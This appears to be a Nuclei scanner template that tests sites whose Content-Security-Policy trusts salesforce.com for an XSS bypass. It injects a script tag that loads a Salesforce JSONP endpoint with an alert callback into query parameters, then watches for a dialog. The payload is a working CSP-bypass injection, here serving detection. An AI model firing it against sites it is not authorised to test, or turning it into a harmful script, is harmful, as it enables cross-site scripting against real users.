id: salesforce-csp-bypass

info:
  name: Content-Security-Policy Bypass - salesforce
  author: Jaenact
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,salesforce-api,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "salesforce.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: salesforce_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://omtr2.partners.salesforce.com/id?callback=alert"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "salesforce_csp_xss == true"
# digest: 490a004630440220078236d8298d593d3c7e72c8440b3057720cdba3ff6c7f8a3d6985a2c26145490220321d8259f8cd2437b29625788b25d6a69e1487c53594830ff39b1cff8af4f54c:922c64590222798bb761d5b6d8e72950